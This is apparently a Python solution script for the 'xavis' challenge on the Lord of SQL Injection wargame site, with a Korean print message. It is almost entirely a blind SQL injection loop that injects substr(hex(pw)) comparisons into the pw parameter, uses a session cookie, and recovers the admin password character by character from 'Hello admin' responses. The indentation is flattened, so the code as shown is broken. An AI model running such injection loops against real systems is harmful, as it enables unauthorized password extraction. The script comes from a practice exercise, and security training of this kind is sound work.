los.rubiya xavis

import requests
import urllib3
#pw=1%27||substr(hex(pw),1,2)%20=%2700
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?"
cookies = dict(PHPSESSID="kg75d303va7jetmfma123j9scv")
a=""
for i in range(1,25):
for k in range(48,123):
param1 = "pw=1%27||substr(hex(pw)," + str(i) + ",1" ")%20=%27"+chr(k)

att = url + param1
res = requests.post(url=att,cookies=cookies)
if "Hello admin" in res.text:
a = a+chr(k)

print(str(i)+"의 값은"+chr(k))
break


print(a)